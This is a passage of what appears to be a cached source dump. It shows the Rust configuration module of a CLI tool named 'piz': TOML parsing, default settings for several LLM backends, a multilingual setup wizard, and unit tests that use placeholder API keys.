TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "2af11e2a57fc1d577cc408c842ae89c3fa0bca96": {"t": 1785760778.1057093, "n": 14895, "h": "834c27bff04f67fd", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result